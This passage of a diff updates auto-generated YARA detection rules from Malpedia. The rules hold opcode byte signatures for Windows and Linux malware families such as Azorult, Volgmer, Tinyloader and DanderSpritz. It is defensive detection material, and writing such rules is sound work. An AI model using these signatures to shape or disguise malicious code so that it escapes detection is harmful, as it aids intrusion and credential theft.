8adc 88550f 807e0700 7417 0fb6813051fa7e 8a4dff } + $sequence_6 = { 6a06 53 ff7508 53 ff55f0 85c0 7c07 } + $sequence_7 = { 0f8535010000 83bd88feffff00 0f85a4040000 807d9a01 } + $sequence_8 = { 885c012e 8b0495582c4300 804c012d04 46 } + $sequence_9 = { c745f800000000 0f8444040000 837d3000 0f843a040000 } + $sequence_10 = { 0f8776050000 52 51 e8???????? 83c408 c745c000000000 } + $sequence_11 = { c745fc20000000 eb21 8bd0 83e220 } + $sequence_12 = { 3e58 3e7f3e 98 3e4a } + $sequence_13 = { 47 8d5101 0f1f8000000000 8a01 41 84c0 } + $sequence_14 = { 66895dc0 ff7508 895dec ab ff760c 895df8 ab } + $sequence_15 = { e8???????? 83c410 eb03 8d041a 5b 5d c3 } condition: - 7 of them and filesize < 256000 + 7 of them and filesize < 466944 } -rule MALPEDIA_Win_Lowzero_Auto : FILE +rule MALPEDIA_Win_Dadstache_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0ac2a079-cc7d-5a01-943f-6fc6cc4cbe31" + id = "b2a62577-cb7e-5e21-91ce-710fa4e05555" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowzero" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lowzero_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dadstache" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dadstache_auto.yar#L1-L167" license_url = "N/A" - logic_hash = "f28e102152915a4d88e2eb7305099c61405576886b21971bd223760dea8f3689" + logic_hash = "73e72c498fc907fc6a73ed239a2f6863b09267af51df13ccdd17c0fe20abede8" score = 75 quality = 75 tags = "FILE" @@ -102367,71 +102552,77 @@ rule MALPEDIA_Win_Lowzero_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5e 5b c70016000000 33c0 } - $sequence_1 = { 33c0 8be5 5d c3 e8???????? 5f 5e } - $sequence_2 = { 5d c3 8b4b3c 894df8 8d81f8000000 3bd0 72e0 } - $sequence_3 = { 2bce 894df0 8d9b00000000 8d1c31 ff7734 85c0 } - $sequence_4 = { 4b 75f7 8b4d0c 3b7dfc 0f8255feffff } - $sequence_5 = { 47 2bc8 8d4602 03c3 3b450c } - $sequence_6 = { 8b3e 0fb74706 3945f8 0f8c5affffff } - $sequence_7 = { 83fa40 7310 6a0d ff15???????? 5e 33c0 5b } - $sequence_8 = { 8b45f8 ff740854 51 56 } - $sequence_9 = { 8806 46 47 e9???????? 8bda } + $sequence_0 = { 8b35???????? 85c9 7403 51 ffd6 a1???????? } + $sequence_1 = { 6a40 6a00 8d4620 c70600000000 c7460400000000 c7460800000000 } + $sequence_2 = { 57 6aff 6a00 8d4508 c74424240f000000 } + $sequence_3 = { 756c ff15???????? 53 53 8d4d08 } + $sequence_4 = { 83c404 85c0 7428 8bb30c020000 8bf8 } + $sequence_5 = { 57 8d4304 c6437401 50 53 c7070c000000 c7431400000000 } + $sequence_6 = { 314608 8b470c 8bf9 31460c 0f1006 } + $sequence_7 = { 8b45f4 c1e808 0fb6c0 894e04 8bcb c1e918 } + $sequence_8 = { 8b4604 8d7604 85c0 75ee b801000000 } + $sequence_9 = { 57 03c3 895508 33ff 8945fc } + $sequence_10 = { 8b55f4 8b4485b0 85d2 8b56f8 7405 0d00020000 } + $sequence_11 = { 8b06 85c0 7543 8b46f8 8945ec } + $sequence_12 = { 8955e0 0f2805???????? 8b703c 03f0 b801000000 } + $sequence_13 = { c745bc56697274 50 57 c745c075616c41 } + $sequence_14 = { 51 ff55f4 8bf8 85ff 0f8423ffffff } + $sequence_15 = { 56 ff7034 ffd7 8945f8 85c0 } condition: - 7 of them and filesize < 433152 + 7 of them and filesize < 580608 } -rule MALPEDIA_Win_Electric_Powder_Auto : FILE +rule MALPEDIA_Win_Unidentified_075_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "70f1fd4f-5a0a-57d1-8155-729a3e15c844" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.electric_powder" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.electric_powder_auto.yar#L1-L130" + id = "147c0d53-aecb-5cae-ac7f-14d52d3c203f" + date = "2023-07-11" + modified = "2023-07-15" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_075" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_075_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "801118c2f636f6d2e21f384ccb7f80375d94dda489cf095ec07a8f466a0ae16c" + logic_hash = "10617fdfd534147bc5e0f7e922724e69d45c37af66d21f98c629fa1bac685120" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" + malpedia_rule_date = "20230705" + malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41" + malpedia_version = "20230715" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 0f84b6130000 8d8de0fbffff 8d5720 8d7102 668b01 83c102 } - $sequence_1 = { 8d8d68faffff e9???????? 8d8d5cf9ffff e9???????? 8d8df8faffff e9???????? 8b857cf9ffff } - $sequence_2 = { 3bd8 0f42d8 8d4301 85c0 7504 33f6 eb34 } - $sequence_3 = { 8b35???????? 81c230750000 89b574f9ffff 52 ffd6 68???????? 6a01 } - $sequence_4 = { 3b4e08 0f838e010000 8b4604 c704c810000000 8b5608 83ea01 } - $sequence_5 = { 0f4dd0 7ce7 56 8d7207 83e6f8 3bd6 } - $sequence_6 = { c645fc79 e8???????? c785e0fbffff00000000 81cf00010000 c785e4fbffff00000000 } - $sequence_7 = { c60600 8d8d30fcffff e8???????? 8d8520fdffff ba???????? 50 8d8da0fbffff } - $sequence_8 = { 8947fc eb0b 50 e8???????? 83c404 8bf8 8b4dfc } - $sequence_9 = { 8bf0 e9???????? 8b45f8 46 8b541004 8955ec 3bf2 } + $sequence_0 = { e8???????? 83c40c 6808020000 8d95dcf6ffff 52 6a00 } + $sequence_1 = { 8bc1 5e 5d c3 55 8bec ff15???????? } + $sequence_2 = { 52 e8???????? 6a00 8d85ace6ffff 50 8d8dbceeffff 51 } + $sequence_3 = { 83c40c 33c0 668985d4f4ffff 6806020000 } + $sequence_4 = { 837d9400 740d 8b55fc c7821002000000000000 837df000 } + $sequence_5 = { 52 ff15???????? 83c410 b853000000 66898550ffffff } + $sequence_6 = { 33c0 668945d0 8d4dd4 51 } + $sequence_7 = { 742c 8b4514 85c0 7421 } + $sequence_8 = { 85c0 0f8431ffffff b901000000 85c9 0f8515ffffff } + $sequence_9 = { 81eca4000000 894dfc c745f400000000 c745f800000000 } condition: - 7 of them and filesize < 565248 + 7 of them and filesize < 393216 } -rule MALPEDIA_Win_Bravonc_Auto : FILE +rule MALPEDIA_Win_Moriagent_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6dc4fda1-21f0-5df6-853f-1dcbad03c148" + id = "e0e8552c-2a56-5880-9b39-e228e0ca2c36" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bravonc" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bravonc_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moriagent" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moriagent_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "773a75cc27f4f0e2a9753a7f457b50e9ee585cad286c778ed87544df88619b9a" + logic_hash = "f619de3127e38febd0ef7c0dec89df2ad37cda3381275176b5456add134d4a40" score = 75 quality = 75 tags = "FILE" @@ -102445,32 +102636,32 @@ rule MALPEDIA_Win_Bravonc_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4838 334820 334818 33480c } - $sequence_1 = { 68???????? e8???????? e8???????? be???????? 68???????? 56 c705????????03000000 } - $sequence_2 = { 8bce e8???????? eb03 8b7d08 8b1d???????? 8d45f4 } - $sequence_3 = { 33480c 334804 51 e8???????? 8b8ec0000000 53 ff75f0 } - $sequence_4 = { 334dec 57 ff75fc 334dfc } - $sequence_5 = { 5e c9 c20c00 55 8bec 81ec80020000 53 } - $sequence_6 = { 57 8bce ff15???????? 8bc6 5f 5e c9 } - $sequence_7 = { 8945f4 8b06 f7d8 23c1 03f3 8945fc } - $sequence_8 = { 334834 6a01 334828 334814 51 } - $sequence_9 = { eb02 33db 6a01 e8???????? 84c0 59 750d } + $sequence_0 = { e8???????? 83c408 8b55c4 8b45f0 40 } + $sequence_1 = { 47 8b048500844200 885c012e 3bfa 7cea 8b7ddc } + $sequence_2 = { c785e4efffff00000000 c785e8efffff00000000 c785ecefffff00000000 83fa10 722f } + $sequence_3 = { 3bc1 7767 85ff 7425 41 8d0442 56 } + $sequence_4 = { eb4c 8b4714 8bd9 2bda 2bc2 3bd8 7727 } + $sequence_5 = { 8bc1 c785e4fdfffffc010000 0f43d6 c785f0fdffff07000000 c785f4fdffff01800000 2bd0 0f1f4000 } + $sequence_6 = { 8d8dccefffff e8???????? 8d8dd4efffff e8???????? } + $sequence_7 = { 8b5d08 8b048500844200 56 57 8bfb 8b440818 } + $sequence_8 = { 83c408 85c0 742a f68568feffff10 7521 8b4704 8d4da8 } + $sequence_9 = { 7467 8b45e4 3bc8 7713 837de010 8bc7 894f10 } condition: - 7 of them and filesize < 131072 + 7 of them and filesize < 720896 } -rule MALPEDIA_Win_Windealer_Auto : FILE +rule MALPEDIA_Win_Listrix_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "87b31818-e67b-5c82-9927-08d581ce1fca" + id = "ae5c6849-5b5a-5879-a75b-5bc936755797" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.windealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.windealer_auto.yar#L1-L114" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.listrix_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "cda4114916f5f955b9ea27c4701626023386bb93ae37a566cf799b5d0e98aca8" + logic_hash = "a979992135eb70be35ff3f9edeaffae4a914b7c2e246324beb1e16b7e069112c" score = 75 quality = 75 tags = "FILE" @@ -102484,34 +102675,34 @@ rule MALPEDIA_Win_Windealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a00 ff15???????? 85c0 7407 50 ff15???????? 6a01 } - $sequence_1 = { 6a04 50 6a04 68???????? 68???????? } - $sequence_2 = { 668b91d2070000 8a89d0070000 52 51 } - $sequence_3 = { 56 57 68da070000 e8???????? } - $sequence_4 = { 8b4d08 668b91d2070000 8a89d0070000 52 51 } - $sequence_5 = { 6a01 50 56 e8???????? 83c410 8bc7 } - $sequence_6 = { 53 56 57 68da070000 } - $sequence_7 = { 50 56 e8???????? 83c410 8b4618 } - $sequence_8 = { ff15???????? 85c0 7407 50 ff15???????? 6a01 } - $sequence_9 = { 8b4d08 668b91d2070000 8a89d0070000 52 } + $sequence_0 = { 50 ff15???????? 85f6 0f8492000000 0fb78deef7ffff } + $sequence_1 = { 51 52 50 8d8dc0f5ffff 51 } + $sequence_2 = { 55 8bec 33c0 8b4d08 3b0cc5186a4000 740a 40 } + $sequence_3 = { ebe6 c745e060614000 817de064614000 7311 8b45e0 8b00 85c0 } + $sequence_4 = { 817de45c614000 7311 8b45e4 8b00 85c0 } + $sequence_5 = { 8b5510 8d46ff 50 8b8584f5ffff 51 52 } + $sequence_6 = { 52 ff15???????? 68???????? 8d85f4f7ffff 50 } + $sequence_7 = { 668b4c4310 66890c457ca74000 40 ebe8 33c0 8945e4 3d01010000 } + $sequence_8 = { 7718 0f85b6000000 8b85a8f5ffff 3b857cf5ffff 0f86a4000000 0fb78deef7ffff } + $sequence_9 = { 52 ff15???????? 83c428 8d85f4fbffff 50 } condition: - 7 of them and filesize < 770048 + 7 of them and filesize < 106496 } -rule MALPEDIA_Win_Danderspritz_Auto : FILE +rule MALPEDIA_Win_Volgmer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1b0527de-0d7b-5ad4-aabc-a511337e98f1" + id = "c708d481-8667-53f5-aa6f-d4a1c7cf85b4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.danderspritz" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.danderspritz_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.volgmer_auto.yar#L1-L402" license_url = "N/A" - logic_hash = "a3dc5330dc4023c2900af3ec5e9bf8ed5ecdce820fe76e6a6bb8f01cda67ce81" + logic_hash = "76496bf022136cb4a0da9750dca0578c8d8bf2a12423d01c51f00f5c1f22514f" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -102523,34 +102714,68 @@ rule MALPEDIA_Win_Danderspritz_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 3ac3 7534 4c8b15???????? 483bfb 4d8bca 0f94c2 } - $sequence_1 = { 48894360 4183f802 0f877bfeffff 4183e101 488bcb 418bd1 e8???????? } - $sequence_2 = { 7425 85d2 7421 3bc1 721d 3bc2 7219 } - $sequence_3 = { 4053 4883ec30 488bd9 85d2 753d 488d9198010000 488d0d75e60100 } - $sequence_4 = { 83f8ff 7505 e8???????? 8b0d???????? ff15???????? 4885c0 7404 } - $sequence_5 = { 4c8d0d5fe60300 4c8d0560e60300 488d1555e60300 488bc8 e8???????? 83f8ff 7525 } - $sequence_6 = { 0fb6da 498d4be0 4533c9 448bc0 498bd2 896c2448 66896c2434 } - $sequence_7 = { 488bfe 4885f6 759a 8b435c 83635400 894348 } - $sequence_8 = { 4103fd 488b4538 8a480c 80f9ff 7403 83c708 393e } - $sequence_9 = { 448bc0 ba02000000 488bcf e8???????? b800000010 488b9c2408010000 4881c4c0000000 } + $sequence_0 = { 4533c0 498bd5 33c9 c744242800000008 } + $sequence_1 = { 7454 33d2 488d4c2434 41b804040000 e8???????? 448d4606 } + $sequence_2 = { 7406 488bcf ff5588 4533c9 4533c0 33d2 } + $sequence_3 = { 4889442420 4c8d442448 418d5108 41ffd4 4c8d8da0030000 498bce } + $sequence_4 = { 4883c9ff 48ffc1 803c0800 75f7 66ffc1 488d8560030000 } + $sequence_5 = { 8801 488d4901 ffc0 3d00010000 7cf1 6644899600010000 } + $sequence_6 = { e8???????? e8???????? e8???????? c705????????04000000 } + $sequence_7 = { 488d8d270d0000 0f280d???????? 33d2 0fb705???????? 41b8c5010000 0f1185e40c0000 } + $sequence_8 = { 488d8d20050000 ff542460 488bcb ff542468 8bc6 } + $sequence_9 = { 488d8d400f0000 e8???????? 8bd6 c68435400f000000 488d8d400f0000 } + $sequence_10 = { e8???????? 85c0 740c 418bdd e9???????? 4983cfff } + $sequence_11 = { 33d2 41b808020000 6644896d80 e8???????? 488b3d???????? 33c0 } + $sequence_12 = { 3bd7 89542410 750d 57 } + $sequence_13 = { 89831c0c0000 eb15 8d4601 50 e8???????? 89831c0c0000 83c404 } + $sequence_14 = { 4833c4 48894537 4c8b25???????? 33c0 c745d701234567 8945a3 } + $sequence_15 = { 8bfe 83e03f c1ff06 6bd830 8b04bd80f17300 f644032801 } + $sequence_16 = { c1f906 6bf630 8b0c8d80f16e00 80643128fd 5f 5e } + $sequence_17 = { 6a26 58 0fb60c8536976e00 0fb6348537976e00 8bf9 8985b4f8ffff c1e702 } + $sequence_18 = { 6bd030 895de4 8b049d80f17300 8945d4 } + $sequence_19 = { 89855cf5ffff 0f84df040000 8d8618030000 50 8d85f4fbffff } + $sequence_20 = { 83e809 7443 83e801 0f8501010000 c745e0e4ba6e00 8b4508 8bcf } + $sequence_21 = { c645e316 ff15???????? 410fb7cd 668945e4 } + $sequence_22 = { 8b2d???????? 50 ffd5 8d942480000000 52 ff15???????? } + $sequence_23 = { 83f808 74ba 83f807 77c5 ff2485d1a86d00 8bce } + $sequence_24 = { f3ab 66ab 33c0 8d4c2404 89442409 51 } + $sequence_25 = { 448bc7 4803ce e8???????? 8d7709 488b5310 } + $sequence_26 = { 4c89642440 4c896c2438 488d3576a50100 4c8d056ba50100 } + $sequence_27 = { 663944244d 0f8593010000 488d4f10 4c8d442458 488d542458 448bce } + $sequence_28 = { 8d3c85c8f46e00 8b0f 85c9 740b } + $sequence_29 = { c6442412ed c644241396 c644241425 c644241528 c6442416fd } + $sequence_30 = { 8b04c520986e00 5d c3 33c0 } + $sequence_31 = { 56 83f815 0f8711010000 ff2485786b6d00 51 8d5106 } + $sequence_32 = { e8???????? 83c40c c785e0f3ffff00040000 8d85e0f3ffff 50 } + $sequence_33 = { 5d c3 b801000000 ebc5 b988130000 } + $sequence_34 = { 55 6a00 6a00 8d442410 6a1a } + $sequence_35 = { eb57 53 8b1c85d8886e00 56 6800080000 6a00 } + $sequence_36 = { e8???????? 29bb50000500 448bd8 3bbb54000500 } + $sequence_37 = { 88442419 c644241a13 c644241b0e c644241c5d c644241d9f } + $sequence_38 = { 48f7d1 4c8d0409 488d4dc0 e8???????? 4c8d4c2440 } + $sequence_39 = { 50 ff15???????? 837e0c00 8bf8 0f840a010000 8d8e18030000 51 } + $sequence_40 = { 428b4c8440 0f1f440000 3b8c8440010000 7419 48ffc0 } + $sequence_41 = { 41b800800000 e8???????? 81834c0005000080ffff 8183440005000080ffff } + $sequence_42 = { 6800010000 8db318010000 6a00 56 e8???????? 6800010000 } + $sequence_43 = { 8bf8 0f84df020000 8d8318030000 50 8d85bcf7ffff } condition: - 7 of them and filesize < 750592 + 7 of them and filesize < 393216 } -rule MALPEDIA_Elf_Persirai_Auto : FILE +rule MALPEDIA_Win_Tinyloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "71dd969e-17c7-51f6-8baa-f5813c4b7618" + id = "7c6fcb6a-6aaa-5e44-ad0b-2dda057bc513" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.persirai" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.persirai_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinyloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinyloader_auto.yar#L1-L224" license_url = "N/A" - logic_hash = "8b3f4b08e462bfefa6597fd60f192d2977efdf6597eab8ae390529732ac3b197" + logic_hash = "a1e9a6fc8f29154daa76951045f8f779a6cee8d3fa483fe0d801eb90e6460914" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -102562,32 +102787,44 @@ rule MALPEDIA_Elf_Persirai_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d680c 8b400c 83e0fe 85c0 75e6 } - $sequence_1 = { 51 e8???????? 8d5c2424 89f1 89df 89e8 fc } - $sequence_2 = { 7423 0fbed0 a1???????? 8854243b 85c0 0f84f9000000 8810 } - $sequence_3 = { 52 8b5020 53 50 ff5208 83c410 } - $sequence_4 = { 6648 759f 53 53 57 8d44244c 50 } - $sequence_5 = { 56 53 83ec0c 89c7 be???????? } - $sequence_6 = { 89d0 5a 59 5b c3 8b442404 8b542408 } - $sequence_7 = { eb0c 89c2 8b02 39c1 75f8 8b01 8902 } - $sequence_8 = { e8???????? 89c3 8bb098000000 85f6 751c 50 50 } - $sequence_9 = { 84c0 742a 8d7600 46 3c25 742b 0fbed0 } + $sequence_0 = { f7d2 f7d1 5b 89d0 c1c010 6689c8 90 } + $sequence_1 = { 8b1d???????? 90 8998f8070000 90 } + $sequence_2 = { 83ec20 48 8d0db7130000 48 } + $sequence_3 = { 90 29d8 90 31db } + $sequence_4 = { 895838 90 48 89c6 90 48 0500400100 } + $sequence_5 = { 8b5d00 66894308 6a10 ffb5a8050000 } + $sequence_6 = { 637574 6541 0050ff 15???????? c705????????00010000 68???????? 68???????? } + $sequence_7 = { 81fb04030000 730d 90 83c004 90 83c304 } + $sequence_8 = { 90 0500400100 90 31db 90 90 } + $sequence_9 = { 0500080000 894520 ffb5a0050000 6802020000 ff15???????? } + $sequence_10 = { 8998f8070000 90 48 8b1d???????? 90 } + $sequence_11 = { 48 8d0dedffffff ff15???????? 48 83c420 } + $sequence_12 = { c70000000000 c7855808000000000000 8b5d00 039d58080000 6a00 } + $sequence_13 = { 83ec20 48 c7c100000000 48 8d15e6110000 } + $sequence_14 = { 90 8bbb97114000 90 8938 90 } + $sequence_15 = { 8b8540050000 8b5d00 894308 8b85f8070000 8b5d00 894304 } + $sequence_16 = { 3b8558080000 7402 ebb3 31c0 31db 31c9 31d2 } + $sequence_17 = { 8b1d???????? 90 895830 90 8b1d???????? 90 895838 } + $sequence_18 = { 8b85f8070000 8b5d00 894304 8b5d00 81c300040000 31c0 } + $sequence_19 = { 8b4500 83c00c ffd0 31db 8b4500 8b8000040000 } + $sequence_20 = { 8d0dea0e0000 ff15???????? 48 83c420 48 8d35d90e0000 48 } + $sequence_21 = { 01da 83c20c 310a 3b8558080000 7308 83c004 } condition: - 7 of them and filesize < 229376 + 7 of them and filesize < 40960 } -rule MALPEDIA_Win_Hermes_Auto : FILE +rule MALPEDIA_Win_Azorult_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "40977080-f0db-509f-ad36-9106e881ac17" + id = "a0ff14cf-728e-57b5-b780-187246815def" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hermes" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hermes_auto.yar#L1-L110" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.azorult_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "ec38569492fc62621d2bfb5ebe2db77f57521b3e9d7ddcf1c5d737c6a9cf9c68" + logic_hash = "b964bdc09887e46f350cee1282648afbe20db6ec0890aa267b03a312df1100f6" score = 75 quality = 75 tags = "FILE" @@ -102601,32 +102838,32 @@ rule MALPEDIA_Win_Hermes_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33d2 6a79 59 f7f1 } - $sequence_1 = { 6a01 6810660000 ff75fc ff15???????? } - $sequence_2 = { 50 8b4508 83c801 50 } - $sequence_3 = { 83c801 50 6a01 ff75fc } - $sequence_4 = { 7508 6a01 ff15???????? 8be5 5d c3 } - $sequence_5 = { 7508 6a01 ff15???????? 8be5 5d } - $sequence_6 = { 6a04 6800100000 6888130000 6a00 ff15???????? } - $sequence_7 = { 83c801 50 6a01 ff75fc ff15???????? } - $sequence_8 = { 50 6a01 6810660000 ff75fc ff15???????? } - $sequence_9 = { 7508 6a01 ff15???????? 8d45fc } + $sequence_0 = { 8901 8bc1 c7410410000000 5d c20400 55 8bec } + $sequence_1 = { ff15???????? 8b4dc8 8bd1 81e20000ff00 8bc1 c1e810 0bd0 } + $sequence_2 = { 83c410 5e c9 c3 55 8bec 81eccc060000 } + $sequence_3 = { 8d9adcbc1b8f 8b702c 03d9 337018 8bcf } + $sequence_4 = { 6a00 6a00 ff7508 ff7510 ff15???????? 85ff 7405 } + $sequence_5 = { e8???????? 84c0 0f8444010000 8d45d8 50 8d4dfc e8???????? } + $sequence_6 = { 83fa04 1bc0 83e004 8b443814 d3e8 884415f8 42 } + $sequence_7 = { 68???????? 680000baba 50 50 e8???????? a1???????? 85c0 } + $sequence_8 = { c3 55 8bec 81ec2c020000 56 8d85d8fdffff 33f6 } + $sequence_9 = { 80f920 74f4 80f97d 750c 8d4201 8907 8bc3 } condition: - 7 of them and filesize < 7192576 + 7 of them and filesize < 1073152 } -rule MALPEDIA_Win_Warezov_Auto : FILE +rule MALPEDIA_Win_Hamweq_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0ec3e9cd-ecfd-5888-8e71-8272853df26c" + id = "000e8959-0108-5c25-ad30-8e891fdada1d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.warezov" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.warezov_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hamweq" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hamweq_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "8a169bcf46fd926fd65360d9ee1ccb1e67a44520c106569cb5acbfc473bbceb3" + logic_hash = "5208d20513fd6a1e5edd1bc25c2bf088fa1869066d91ad8af3cf21319dcb16db" score = 75 quality = 75 tags = "FILE" @@ -102640,32 +102877,32 @@ rule MALPEDIA_Win_Warezov_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8a8c04cc000000 8a9404fc000000 02d1 8a8c04fd000000 889404fc000000 8a9404cd000000 02ca } - $sequence_1 = { c68424a300000065 c68424a400000062 c68424a500000075 c68424a600000070 c68424a700000077 889c24a8000000 c68424ad00000070 } - $sequence_2 = { ffd3 50 ff15???????? 85c0 8b942430010000 8902 7531 } - $sequence_3 = { 8d8c24a8000000 51 6a00 68???????? 8d9424b8010000 52 } - $sequence_4 = { c684243801000039 c6842439010000ac c684243a0100000f c684243b010000fe c684243c01000046 c684243d0100006a c684243e01000038 } - $sequence_5 = { 885e14 8b5008 56 8bcd 885a14 e8???????? eb78 } - $sequence_6 = { 0473 b142 f6e9 8ad8 8b06 80eb12 80cbcd } - $sequence_7 = { 33f6 4d 85ed ba77000000 7e50 8b74240c 53 } - $sequence_8 = { 32ca 888c049c020000 40 83f809 7ce3 8d8424a8020000 50 } - $sequence_9 = { c68424aa000000d3 c68424ab000000b8 c68424ac000000a9 c68424ad0000002e c68424ae00000049 c68424af00000041 } + $sequence_0 = { ff500c 56 e8???????? 8b06 } + $sequence_1 = { 8d8500feffff 50 ff5148 8b4e08 8b06 ff7138 } + $sequence_2 = { ff5744 50 8d8500feffff 50 } + $sequence_3 = { 51 ff5038 b906030000 33c0 80bdfcfdffff5c } + $sequence_4 = { 0f847a030000 85c0 0f8472030000 ff35???????? ff75f8 ffd6 } + $sequence_5 = { 50 8d45e0 50 ff750c 56 e8???????? 83c410 } + $sequence_6 = { ff7508 ff5020 8b4e08 8b06 ffb180010000 8d8decfeffff 51 } + $sequence_7 = { 8b0e ff30 33db ff5144 } + $sequence_8 = { 3ad0 742d 8b4c2414 8bd6 2bd1 8a19 3ad8 } + $sequence_9 = { 33c0 8dbdfcfdffff f3ab 8b4e08 8b06 ffb1e8000000 8d8dfcfdffff } condition: - 7 of them and filesize < 827392 + 7 of them and filesize < 24576 } -rule MALPEDIA_Win_Freenki_Auto : FILE +rule MALPEDIA_Win_Moriya_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "67ab05f0-0092-5ff4-bb96-cc24a6a94dbc" + id = "59d11a0a-17d5-591e-bce9-2635239237cd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.freenki" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.freenki_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moriya" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moriya_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "a02a6867fe9e948b2e235fe875697f9d977ad7f0e52b8303d46cef856d876490" + logic_hash = "502cc93b2e63f3afc69dfd0a7f0cef3fdb24356c38e271e56341bfbf7336c1de" score = 75 quality = 75 tags = "FILE" @@ -102679,32 +102916,32 @@ rule MALPEDIA_Win_Freenki_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff75e4 ff15???????? 85c0 7920 8b45e4 50 8b08 